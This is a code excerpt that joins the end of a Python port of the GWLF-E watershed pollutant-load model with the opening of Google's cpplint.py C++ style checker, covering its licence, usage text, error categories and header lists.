z.AttenLossRateN)[y] for l in range(z.NLU): if z.Landuse[l] is LandUse.HAY_PAST: z.LuSedYield[y][l] = z.n2 z.LuTotNitr_2[y][l] = z.n6 z.LuTotPhos_1[y][l] = z.n13 z.LuDisNitr[y][l] = z.n6dn z.LuDisPhos[y][l] = z.n13dp if z.LuDisNitr[y][l] > z.LuTotNitr_2[y][l]: z.LuDisNitr[y][l] = z.LuTotNitr_2[y][l] if z.LuDisPhos[y][l] > z.LuTotPhos_1[y][l]: z.LuDisPhos[y][l] = z.LuTotPhos_1[y][l] elif z.Landuse[l] is LandUse.CROPLAND: if z.LuDisNitr[y][l] > 0: z.LuDisNitr[y][l] = z.LuDisNitr[y][l] * z.n5 / z.LuTotNitr_2[y][l] if z.LuDisPhos[y][l] > 0: z.LuDisPhos[y][l] = z.LuDisPhos[y][l] * z.n12 / z.LuTotPhos_1[y][l] z.LuSedYield[y][l] = z.n1 z.LuTotNitr_2[y][l] = z.n5 z.LuTotPhos_1[y][l] = z.n12 z.LuDisNitr[y][l] = z.n5dn z.LuDisPhos[y][l] = z.n12dp elif z.Landuse[l] is LandUse.UNPAVED_ROAD: z.LuSedYield[y][l] = z.n2d z.LuTotNitr_2[y][l] = z.n6d z.LuTotPhos_1[y][l] = z.n13d z.LuDisNitr[y][l] = z.n6ddn z.LuDisPhos[y][l] = z.n13ddp if z.LuDisNitr[y][l] > z.LuTotNitr_2[y][l]: z.LuDisNitr[y][l] = z.LuTotNitr_2[y][l] if z.LuDisPhos[y][l] > z.LuTotPhos_1[y][l]: z.LuDisPhos[y][l] = z.LuTotPhos_1[y][l] if z.n24b > 0 and z.Landuse[l] in [LandUse.LD_MIXED, LandUse.LD_RESIDENTIAL]: z.LuSedYield[y][l] = z.n2c * z.Area[l] / z.n24b z.LuTotNitr_2[y][l] = z.n6c * z.Area[l] / z.n24b z.LuTotPhos_1[y][l] = z.n13c * z.Area[l] / z.n24b z.LuDisNitr[y][l] = z.n6cdn * z.Area[l] / z.n24b z.LuDisPhos[y][l] = z.n13cdp * z.Area[l] / z.n24b if z.LuDisNitr[y][l] > z.LuTotNitr_2[y][l]: z.LuDisNitr[y][l] = z.LuTotNitr_2[y][l] if z.LuDisPhos[y][l] > z.LuTotPhos_1[y][l]: z.LuDisPhos[y][l] = z.LuTotPhos_1[y][l] elif z.n23b > 0 and z.Landuse[l] in [LandUse.MD_MIXED, LandUse.HD_MIXED, LandUse.MD_RESIDENTIAL, LandUse.HD_RESIDENTIAL]: z.LuSedYield[y][l] = z.n2b * z.Area[l] / z.n23b z.LuTotNitr_2[y][l] = z.n6b * z.Area[l] / z.n23b z.LuTotPhos_1[y][l] = z.n13b * z.Area[l] / z.n23b z.LuDisNitr[y][l] = z.n6bdn * z.Area[l] / z.n23b z.LuDisPhos[y][l] = z.n13bdp * z.Area[l] / z.n23b if z.LuDisNitr[y][l] > z.LuTotNitr_2[y][l]: z.LuDisNitr[y][l] = z.LuTotNitr_2[y][l] if z.LuDisPhos[y][l] > z.LuTotPhos_1[y][l]: z.LuDisPhos[y][l] = z.LuTotPhos_1[y][l] if z.LuDisNitr[y][l] > z.LuTotNitr_2[y][l]: z.LuDisNitr[y][l] = z.LuTotNitr_2[y][l] if z.LuDisPhos[y][l] > z.LuTotPhos_1[y][l]: z.LuDisPhos[y][l] = z.LuTotPhos_1[y][l] # WRITE THE RESULTS FILES INTO THE OUTPUT DIRECTORY IN METRIC UNITS # TODO: Skipping section that prepares and writes AnnualFile and AnnCsvFile # Lines ~630 - 921 # WRITE THE SUMARY FILES TO THE OUTPUT DIRECTORY IN METRIC UNITS # TODO: For now, we are only writing the first chunk of AvgFile # Sum Variables for Aggregate Summary Ouput Files # if FirstRun: XXX: Commented out because we don't # have the concept of a "first run" in the port. SumNYrs = z.NYrs SumNRur = z.NRur SumNUrb = z.NUrb SumNLU = z.NLU SumWxYrBeg = z.WxYrBeg SumWxYrEnd = z.WxYrEnd # Which land use sources to include in the totals. # These are indices of this array: https://github.com/WikiWatershed/model-my-watershed/blob/415be752ea7b66ae5e1d15afe1a11cf4051dbd5e/src/mmw/mmw/settings/gwlfe_settings.py#L23-L39 # This list matches the land type in the Loads list below # 13 was added and 4, 5, 9 removed in https://github.com/WikiWatershed/gwlf-e/pull/84 sources = (0, 1, 2, 3, 6, 7, 8, 10, 11, 12, 13) # ha AreaTotal = sum(z.Area[l] for l in sources) # kg SumSed = sum(z.AvLuSedYield[l] for l in sources) * TONNE_TO_KG SumSed += z.AvStreamBankErosSum # kg SumNitr = sum(z.AvLuTotNitr[l] for l in sources) SumNitr += z.AvStreamBankNSum SumNitr += AvAnimalNSum_1_f(z.NYrs, z.GrazingAnimal_0, z.NumAnimals, z.AvgAnimalWt, z.AnimalDailyN, z.NGAppNRate, z.NGPctSoilIncRate, z.GRAppNRate, z.GRPctSoilIncRate, z.GrazingNRate, z.GRPctManApp, z.PctGrazing, z.GRBarnNRate, z.Prec, z.DaysMonth, z.AWMSGrPct, z.GrAWMSCoeffN, z.RunContPct, z.RunConCoeffN, z.n41b, z.n85h, z.NGPctManApp, z.AWMSNgPct, z.NGBarnNRate, z.NgAWMSCoeffN, z.n41d, z.n85j, z.n41f, z.n85l, z.PctStreams, z.n42, z.n45, z.n69, z.n43, z.n64) * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) SumNitr += z.AvGroundNitrSum * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) SumNitr += YrPointNitr * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) SumNitr += z.AvSeptNitr * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) # kg SumPhos = sum(z.AvLuTotPhos[l] for l in sources) SumPhos += z.AvStreamBankPSum SumPhos += z.AvAnimalPSum * z.RetentFactorP * (1 - z.AttenP) SumPhos += z.AvGroundPhosSum * z.RetentFactorP * (1 - z.AttenP) SumPhos += YrPointPhos * z.RetentFactorP * (1 - z.AttenP) SumPhos += z.AvSeptPhos * z.RetentFactorP * (1 - z.AttenP) # m^3/year MeanFlow = (z.AvStreamFlowSum * CM_TO_M) * (AreaTotal * HA_TO_M2) # Find index of month with lowest mean flow. LowFlowMonth = z.AvStreamFlow.tolist().index(min(z.AvStreamFlow)) # m^3/year MeanLowFlow = (z.AvStreamFlow[LowFlowMonth] * CM_TO_M) * (AreaTotal * HA_TO_M2) # m^3/second MeanFlowPS = MeanFlow / 31536000 # kg/ha if AreaTotal > 0: LoadingRateSed = SumSed / AreaTotal LoadingRateN = SumNitr / AreaTotal LoadingRateP = SumPhos / AreaTotal else: LoadingRateSed = 0 LoadingRateN = 0 LoadingRateP = 0 # mg/l if MeanFlow > 0: ConcSed = (SumSed * KG_TO_MG) / (MeanFlow * M3_TO_L) ConcN = (SumNitr * KG_TO_MG) / (MeanFlow * M3_TO_L) ConcP = (SumPhos * KG_TO_MG) / (MeanFlow * M3_TO_L) else: ConcSed = 0 ConcN = 0 ConcP = 0 # mg/l if MeanLowFlow > 0: LFConcSed = ((AvSedYield(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Qretention, z.PctAreaInfil, z.n25b, z.Landuse, z.TileDrainDensity, z.PointFlow, z.StreamWithdrawal, z.GroundWithdrawal, z.NumAnimals, z.AvgAnimalWt, z.StreamFlowVolAdj, z.SedAFactor_0, z.AvKF, z.AvSlope, z.SedAAdjust, z.StreamLength, z.n42b, z.n46c, z.n85d, z.AgLength, z.n42, z.n45, z.n85, z.UrbBankStab, z.Acoef, z.KF, z.LS, z.C, z.P, z.SedDelivRatio_0)[LowFlowMonth] * TONNE_TO_KG * KG_TO_MG) / ( MeanLowFlow * M3_TO_L)) LFConcN = ((z.AvTotNitr[LowFlowMonth] * KG_TO_MG) / (MeanLowFlow * M3_TO_L)) LFConcP = ((z.AvTotPhos[LowFlowMonth] * KG_TO_MG) / (MeanLowFlow * M3_TO_L)) else: LFConcSed = 0 LFConcN = 0 LFConcP = 0 output = {} # Equivalent to Line 927 of source output['meta'] = { 'NYrs': z.NYrs, 'NRur': z.NRur, 'NUrb': z.NUrb, 'NLU': z.NLU, 'SedDelivRatio': SedDelivRatio(z.SedDelivRatio_0), 'WxYrBeg': z.WxYrBeg, 'WxYrEnd': z.WxYrEnd, } output['AreaTotal'] = AreaTotal output['MeanFlow'] = MeanFlow output['MeanFlowPerSecond'] = MeanFlowPS # Equivalent to lines 965 - 988 of source av_evapo_trans = AvEvapoTrans_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap) # TODO: once all of the monthly variables have been extracted, rewrite how this works av_tile_drain = AvTileDrain_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Landuse, z.TileDrainDensity) av_withdrawal = AvWithdrawal_f(z.NYrs, z.StreamWithdrawal, z.GroundWithdrawal) av_ground_water = AvGroundWater_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Landuse, z.TileDrainDensity) av_runoff = AvRunoff_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.n25b, z.CN, z.Landuse, z.TileDrainDensity) output['monthly'] = [] for i in range(0, 12): output['monthly'].append({ 'AvPrecipitation': z.AvPrecipitation[i], 'AvEvapoTrans': av_evapo_trans[i], 'AvGroundWater': av_ground_water[i], 'AvRunoff': av_runoff[i], 'AvStreamFlow': z.AvStreamFlow[i], 'AvPtSrcFlow': z.AvPtSrcFlow[i], 'AvTileDrain': av_tile_drain[i], 'AvWithdrawal': av_withdrawal[i], }) output['Loads'] = [] output['Loads'].append({ 'Source': 'Hay/Pasture', 'Sediment': z.AvLuSedYield[0] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[0], 'TotalP': z.AvLuTotPhos[0], }) output['Loads'].append({ 'Source': 'Cropland', 'Sediment': z.AvLuSedYield[1] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[1], 'TotalP': z.AvLuTotPhos[1], }) # Forest output['Loads'].append({ 'Source': 'Wooded Areas', 'Sediment': z.AvLuSedYield[2] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[2], 'TotalP': z.AvLuTotPhos[2], }) output['Loads'].append({ 'Source': 'Wetlands', 'Sediment': z.AvLuSedYield[3] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[3], 'TotalP': z.AvLuTotPhos[3], }) output['Loads'].append({ 'Source': 'Open Land', 'Sediment': z.AvLuSedYield[6] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[6], 'TotalP': z.AvLuTotPhos[6], }) # Bare Rock, Sandy Areas output['Loads'].append({ 'Source': 'Barren Areas', 'Sediment': sum(z.AvLuSedYield[l] * TONNE_TO_KG for l in (7, 8)), 'TotalN': sum(z.AvLuTotNitr[l] for l in (7, 8)), 'TotalP': sum(z.AvLuTotPhos[l] for l in (7, 8)), }) output['Loads'].append({ 'Source': 'Low-Density Mixed', 'Sediment': z.AvLuSedYield[10] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[10], 'TotalP': z.AvLuTotPhos[10], }) output['Loads'].append({ 'Source': 'Medium-Density Mixed', 'Sediment': z.AvLuSedYield[11] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[11], 'TotalP': z.AvLuTotPhos[11], }) output['Loads'].append({ 'Source': 'High-Density Mixed', 'Sediment': z.AvLuSedYield[12] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[12], 'TotalP': z.AvLuTotPhos[12], }) output['Loads'].append({ 'Source': 'Low-Density Open Space', 'Sediment': z.AvLuSedYield[13] * TONNE_TO_KG, 'TotalN': z.AvLuTotNitr[13], 'TotalP': z.AvLuTotPhos[13], }) output['Loads'].append({ 'Source': 'Farm Animals', 'Sediment': 0, 'TotalN': AvAnimalNSum_1_f(z.NYrs, z.GrazingAnimal_0, z.NumAnimals, z.AvgAnimalWt, z.AnimalDailyN, z.NGAppNRate, z.NGPctSoilIncRate, z.GRAppNRate, z.GRPctSoilIncRate, z.GrazingNRate, z.GRPctManApp, z.PctGrazing, z.GRBarnNRate, z.Prec, z.DaysMonth, z.AWMSGrPct, z.GrAWMSCoeffN, z.RunContPct, z.RunConCoeffN, z.n41b, z.n85h, z.NGPctManApp, z.AWMSNgPct, z.NGBarnNRate, z.NgAWMSCoeffN, z.n41d, z.n85j, z.n41f, z.n85l, z.PctStreams, z.n42, z.n45, z.n69, z.n43, z.n64) * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)), 'TotalP': z.AvAnimalPSum * z.RetentFactorP * (1 - z.AttenP), }) output['Loads'].append({ 'Source': 'Stream Bank Erosion', 'Sediment': z.AvStreamBankErosSum, 'TotalN': z.AvStreamBankNSum, 'TotalP': z.AvStreamBankPSum, }) output['Loads'].append({ 'Source': 'Subsurface Flow', 'Sediment': 0, 'TotalN': z.AvGroundNitrSum * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)), 'TotalP': z.AvGroundPhosSum * z.RetentFactorP * (1 - z.AttenP), }) output['Loads'].append({ 'Source': 'Point Sources', 'Sediment': 0, 'TotalN': YrPointNitr * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)), 'TotalP': YrPointPhos * z.RetentFactorP * (1 - z.AttenP), }) output['Loads'].append({ 'Source': 'Septic Systems', 'Sediment': 0, 'TotalN': z.AvSeptNitr * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)), 'TotalP': z.AvSeptPhos * z.RetentFactorP * (1 - z.AttenP), }) output['SummaryLoads'] = [] output['SummaryLoads'].append({ 'Source': 'Total Loads', 'Unit': 'kg', 'Sediment': SumSed, 'TotalN': SumNitr, 'TotalP': SumPhos, }) output['SummaryLoads'].append({ 'Source': 'Loading Rates', 'Unit': 'kg/ha', 'Sediment': LoadingRateSed, 'TotalN': LoadingRateN, 'TotalP': LoadingRateP, }) output['SummaryLoads'].append({ 'Source': 'Mean Annual Concentration', 'Unit': 'mg/l', 'Sediment': ConcSed, 'TotalN': ConcN, 'TotalP': ConcP, }) output['SummaryLoads'].append({ 'Source': 'Mean Low-Flow Concentration', 'Unit': 'mg/l', 'Sediment': LFConcSed, 'TotalN': LFConcN, 'TotalP': LFConcP, }) return output def WriteOutputSumFiles(): pass def UrbanAreasOutput(): pass
codeparrot/github-code-clean
#!/usr/bin/env python # # Copyright (c) 2009 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Does google-lint on c++ files. The goal of this script is to identify places in the code that *may* be in non-compliance with google style. It does not attempt to fix up these problems -- the point is to educate. It does also not attempt to find all problems, or to ensure that everything it does find is legitimately a problem. In particular, we can get very confused by /* and // inside strings! We do a small hack, which is to ignore //'s with "'s after them on the same line, but it is far from perfect (in either direction). """ import codecs import copy import getopt import math # for log import os import re import sre_compile import string import sys import unicodedata # The allowed extensions for file names # This is set by --extensions flag. _valid_extensions = set(['c', 'cc', 'cpp', 'cxx', 'c++', 'h', 'hpp', 'hxx', 'h++']) _USAGE = """ Syntax: cpplint.py [--verbose=#] [--output=vs7] [--filter=-x,+y,...] [--counting=total|toplevel|detailed] [--root=subdir] [--linelength=digits] <file> [file] ... The style guidelines this tries to follow are those in http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml Every problem is given a confidence score from 1-5, with 5 meaning we are certain of the problem, and 1 meaning it could be a legitimate construct. This will miss some errors, and is not a substitute for a code review. To suppress false-positive errors of a certain category, add a 'NOLINT(category)' comment to the line. NOLINT or NOLINT(*) suppresses errors of all categories on that line. The files passed in will be linted; at least one file must be provided. Default linted extensions are %s. Other file types will be ignored. Change the extensions with the --extensions flag. Flags: output=vs7 By default, the output is formatted to ease emacs parsing. Visual Studio compatible output (vs7) may also be used. Other formats are unsupported. verbose=# Specify a number 0-5 to restrict errors to certain verbosity levels. filter=-x,+y,... Specify a comma-separated list of category-filters to apply: only error messages whose category names pass the filters will be printed. (Category names are printed with the message and look like "[whitespace/indent]".) Filters are evaluated left to right. "-FOO" and "FOO" means "do not print categories that start with FOO". "+FOO" means "do print categories that start with FOO". Examples: --filter=-whitespace,+whitespace/braces --filter=whitespace,runtime/printf,+runtime/printf_format --filter=-,+build/include_what_you_use To see a list of all the categories used in cpplint, pass no arg: --filter= counting=total|toplevel|detailed The total number of errors found is always printed. If 'toplevel' is provided, then the count of errors in each of the top-level categories like 'build' and 'whitespace' will also be printed. If 'detailed' is provided, then a count is provided for each category like 'build/class'. root=subdir The root directory used for deriving header guard CPP variable. By default, the header guard CPP variable is calculated as the relative path to the directory that contains .git, .hg, or .svn. When this flag is specified, the relative path is calculated from the specified directory. If the specified directory does not exist, this flag is ignored. Examples: Assuming that src/.git exists, the header guard CPP variables for src/chrome/browser/ui/browser.h are: No flag => CHROME_BROWSER_UI_BROWSER_H_ --root=chrome => BROWSER_UI_BROWSER_H_ --root=chrome/browser => UI_BROWSER_H_ linelength=digits This is the allowed line length for the project. The default value is 80 characters. Examples: --linelength=120 extensions=extension,extension,... The allowed file extensions that cpplint will check Examples: --extensions=hpp,cpp cpplint.py supports per-directory configurations specified in CPPLINT.cfg files. CPPLINT.cfg file can contain a number of key=value pairs. Currently the following options are supported: set noparent filter=+filter1,-filter2,... exclude_files=regex linelength=80 "set noparent" option prevents cpplint from traversing directory tree upwards looking for more .cfg files in parent directories. This option is usually placed in the top-level project directory. The "filter" option is similar in function to --filter flag. It specifies message filters in addition to the |_DEFAULT_FILTERS| and those specified through --filter command-line flag. "exclude_files" allows to specify a regular expression to be matched against a file name. If the expression matches, the file is skipped and not run through liner. "linelength" allows to specify the allowed line length for the project. CPPLINT.cfg has an effect on files in the same directory and all sub-directories, unless overridden by a nested configuration file. Example file: filter=-build/include_order,+build/include_alpha exclude_files=.*\.cc The above example disables build/include_order warning and enables build/include_alpha as well as excludes all .cc from being processed by linter, in the current directory (where the .cfg file is located) and all sub-directories. """ % (list(_valid_extensions)) # We categorize each error message we print. Here are the categories. # We want an explicit list so we can list them all in cpplint --filter=. # If you add a new error message with a new category, add it to the list # here! cpplint_unittest.py should tell you if you forget to do this. _ERROR_CATEGORIES = [ 'build/class', 'build/c++11', 'build/deprecated', 'build/endif_comment', 'build/explicit_make_pair', 'build/forward_decl', 'build/header_guard', 'build/include', 'build/include_alpha', 'build/include_order', 'build/include_what_you_use', 'build/namespaces', 'build/printf_format', 'build/storage_class', 'legal/copyright', 'readability/alt_tokens', 'readability/braces', 'readability/casting', 'readability/check', 'readability/constructors', 'readability/fn_size', 'readability/function', 'readability/inheritance', 'readability/multiline_comment', 'readability/multiline_string', 'readability/namespace', 'readability/nolint', 'readability/nul', 'readability/strings', 'readability/todo', 'readability/utf8', 'runtime/arrays', 'runtime/casting', 'runtime/explicit', 'runtime/int', 'runtime/init', 'runtime/invalid_increment', 'runtime/member_string_references', 'runtime/memset', 'runtime/indentation_namespace', 'runtime/operator', 'runtime/printf', 'runtime/printf_format', 'runtime/references', 'runtime/string', 'runtime/threadsafe_fn', 'runtime/vlog', 'whitespace/blank_line', 'whitespace/braces', 'whitespace/comma', 'whitespace/comments', 'whitespace/empty_conditional_body', 'whitespace/empty_loop_body', 'whitespace/end_of_line', 'whitespace/ending_newline', 'whitespace/forcolon', 'whitespace/indent', 'whitespace/line_length', 'whitespace/newline', 'whitespace/operators', 'whitespace/parens', 'whitespace/semicolon', 'whitespace/tab', 'whitespace/todo', ] # These error categories are no longer enforced by cpplint, but for backwards- # compatibility they may still appear in NOLINT comments. _LEGACY_ERROR_CATEGORIES = [ 'readability/streams', ] # The default state of the category filter. This is overridden by the --filter= # flag. By default all errors are on, so only add here categories that should be # off by default (i.e., categories that must be enabled by the --filter= flags). # All entries here should start with a '-' or '+', as in the --filter= flag. _DEFAULT_FILTERS = ['-build/include_alpha'] # We used to check for high-bit characters, but after much discussion we # decided those were OK, as long as they were in UTF-8 and didn't represent # hard-coded international strings, which belong in a separate i18n file. # C++ headers _CPP_HEADERS = frozenset([ # Legacy 'algobase.h', 'algo.h', 'alloc.h', 'builtinbuf.h', 'bvector.h', 'complex.h', 'defalloc.h', 'deque.h', 'editbuf.h', 'fstream.h', 'function.h', 'hash_map', 'hash_map.h', 'hash_set', 'hash_set.h', 'hashtable.h', 'heap.h', 'indstream.h', 'iomanip.h', 'iostream.h', 'istream.h', 'iterator.h', 'list.h', 'map.h', 'multimap.h', 'multiset.h', 'ostream.h', 'pair.h', 'parsestream.h', 'pfstream.h', 'procbuf.h', 'pthread_alloc', 'pthread_alloc.h', 'rope', 'rope.h', 'ropeimpl.h', 'set.h', 'slist', 'slist.h', 'stack.h', 'stdiostream.h', 'stl_alloc.h', 'stl_relops.h', 'streambuf.h', 'stream.h', 'strfile.h', 'strstream.h', 'tempbuf.h', 'tree.h', 'type_traits.h', 'vector.h', # 17.6.1.2 C++ library headers 'algorithm', 'array', 'atomic', 'bitset', 'chrono', 'codecvt', 'complex', 'condition_variable', 'deque', 'exception', 'forward_list', 'fstream', 'functional', 'future', 'initializer_list', 'iomanip', 'ios', 'iosfwd', 'iostream', 'istream', 'iterator', 'limits', 'list', 'locale', 'map', 'memory', 'mutex', 'new', 'numeric', 'ostream', 'queue', 'random', 'ratio', 'regex', 'set', 'sstream', 'stack', 'stdexcept', 'streambuf', 'string', 'strstream', 'system_error', 'thread', 'tuple', 'typeindex', 'typeinfo', 'type_traits', 'unordered_map', 'unordered_set', 'utility', 'valarray', 'vector', # 17.6.1.2 C++ headers for C library facilities 'cassert', 'ccomplex', 'cctype', 'cerrno', 'cfenv', 'cfloat', 'cinttypes', 'ciso646', 'climits', 'clocale', 'cmath', 'csetjmp', 'csignal', 'cstdalign', 'cstdarg', 'cstdbool', 'cstddef', 'cstdint', 'cstdio', 'cstdlib', 'cstring', 'ctgmath', 'ctime', 'cuchar', 'cwchar', 'cwctype', ]) # These headers are excluded from [build/include] and [build/include_order] # checks: # - Anything not following google file name conventions (containing an # uppercase character, such as Python.h or nsStringAPI.h, for example). # - Lua headers. _THIRD_PARTY_HEADERS_PATTERN = re.compile( r'^(?:[^/]*[A-Z][^/]*\.h|lua\.h|lauxlib\.h|lualib\.h)$') # Assertion macros. These are defined in base/logging.h and # testing/base/gunit.h. Note that the _M versions need to come first # for substring matching to work. _CHECK_MACROS = [ 'DCHECK', 'CHECK', 'EXPECT_TRUE_M', 'EXPECT_TRUE', 'ASSERT_TRUE_M', 'ASSERT_TRUE', 'EXPECT_FALSE_M', 'EXPECT_FALSE', 'ASSERT_FALSE_M', 'ASSERT_FALSE', ] # Replacement macros for CHECK/DCHECK/EXPECT_TRUE/EXPECT_FALSE _CHECK_REPLACEMENT = dict([(m, {}) for m in _CHECK_MACROS]) for op, replacement in [('==', 'EQ'), ('!=', 'NE'), ('>=', 'GE'), ('>', 'GT'), ('<=', 'LE'), ('<', 'LT')]: _CHECK_REPLACEMENT['DCHECK'][op] = 'DCHECK_%s' % replacement _CHECK_REPLACEMENT['CHECK'][op] = 'CHECK_%s' % replacement _CHECK_REPLACEMENT['EXPECT_TRUE'][op] = 'EXPECT_%s' % replacement _CHECK_REPLACEMENT['ASSERT_TRUE'][op] = 'ASSERT_%s' % replacement _CHECK_REPLACEMENT['EXPECT_TRUE_M'][op] = 'EXPECT_%s_M' % replacement _CHECK_REPLACEMENT['ASSERT_TRUE_M'][op] = 'ASSERT_%s_M' % replacement for op, inv_replacement in [('==', 'NE'), ('!=', 'EQ'), ('>=', 'LT'), ('>', 'LE'), ('<=', 'GT'), ('<', 'GE')]: _CHECK_REPLACEMENT['EXPECT_FALSE'][op] = 'EXPECT_%s' % inv_replacement _CHECK_REPLACEMENT['ASSERT_FALSE'][op] = 'ASSERT_%s' % inv_replacement _CHECK_REPLACEMENT['EXPECT_FALSE_M'][op] = 'EXPECT_%s_M' % inv_replacement _CHECK_REPLACEMENT['ASSERT_FALSE_M'][op] = 'ASSERT_%s_M' % inv_replacement # Alternative tokens and their replacements. For full list, see section 2.5 # Alternative tokens [lex.digraph] in the C++ standard. # # Digraphs (such as '%:') are not included here since it's a mess to # match those on a word boundary. _ALT_TOKEN_REPLACEMENT = { 'and': '&&', 'bitor': '|', 'or': '||', 'xor': '^', 'compl': '~', 'bitand': '&', 'and_eq': '&=', 'or_eq': '|=', 'xor_eq': '^=', 'not': '!', 'not_eq': '!=' } # Compile regular expression that matches all the above keywords. The "[ =()]" # bit is meant to avoid matching these keywords outside of boolean expressions. # # False positives include C-style multi-line comments and multi-line strings # but those have always been troublesome for cpplint. _ALT_TOKEN_REPLACEMENT_PATTERN = re.compile( r'[ =()](' + ('|'.join(_ALT_TOKEN_REPLACEMENT.keys())) + r')(?=[ (]|$)') # These constants define types of headers for use with # _IncludeState.CheckNextIncludeOrder(). _C_SYS_HEADER = 1 _CPP_SYS_HEADER = 2 _LIKELY_MY_HEADER = 3 _POSSIBLE_MY_HEADER = 4 _OTHER_HEADER = 5 # These constants define the current inline assembly state _NO_ASM = 0 # Outside of inline assembly block _INSIDE_ASM = 1 # Inside inline assembly block _END_ASM = 2 # Last line of inline assembly block _BLOCK_ASM = 3 # The whole block is an inline assembly block # Match start of assembly blocks _MATCH_ASM = re.compile(r'^\s*(?:asm|_asm|__asm|__asm__)' r'(?:\s+(volatile|__volatile__))?' r'\s*[{(]') _regexp_compile_cache = {} # {str, set(int)}: a map from error categories to sets of linenumbers # on which those errors are expected and should be suppressed. _error_suppressions = {} # The root directory used for deriving header guard CPP variable. # This is set by --root flag. _root = None # The allowed line length of files. # This is set by --linelength flag. _line_length = 80 if sys.version_info < (3,): def u(x): return codecs.unicode_escape_decode(x)[0] TEXT_TYPE = unicode # BINARY_TYPE = str range = xrange itervalues = dict.itervalues iteritems = dict.iteritems else: def u(x): return x TEXT_TYPE = str # BINARY_TYPE = bytes xrange = range itervalues = dict.values iteritems = dict.items def ParseNolintSuppressions(filename, raw_line, linenum, error): """Updates the global list of error-suppressions. Parses any NOLINT comments on the current line, updating the global error_suppressions store. Reports an error if the NOLINT comment was malformed. Args: filename: str, the name of the input file. raw_line: str, the line of input text, with comments. linenum: int, the number of the current line. error: function, an error handler. """ matched = Search(r'\bNOLINT(NEXTLINE)?\b(\([^)]+\))?', raw_line) if matched: if matched.group(1): suppressed_line = linenum + 1 else: suppressed_line = linenum category = matched.group(2) if category in (None, '(*)'): # => "suppress all" _error_suppressions.setdefault(None, set()).add(suppressed_line) else: if category.startswith('(') and 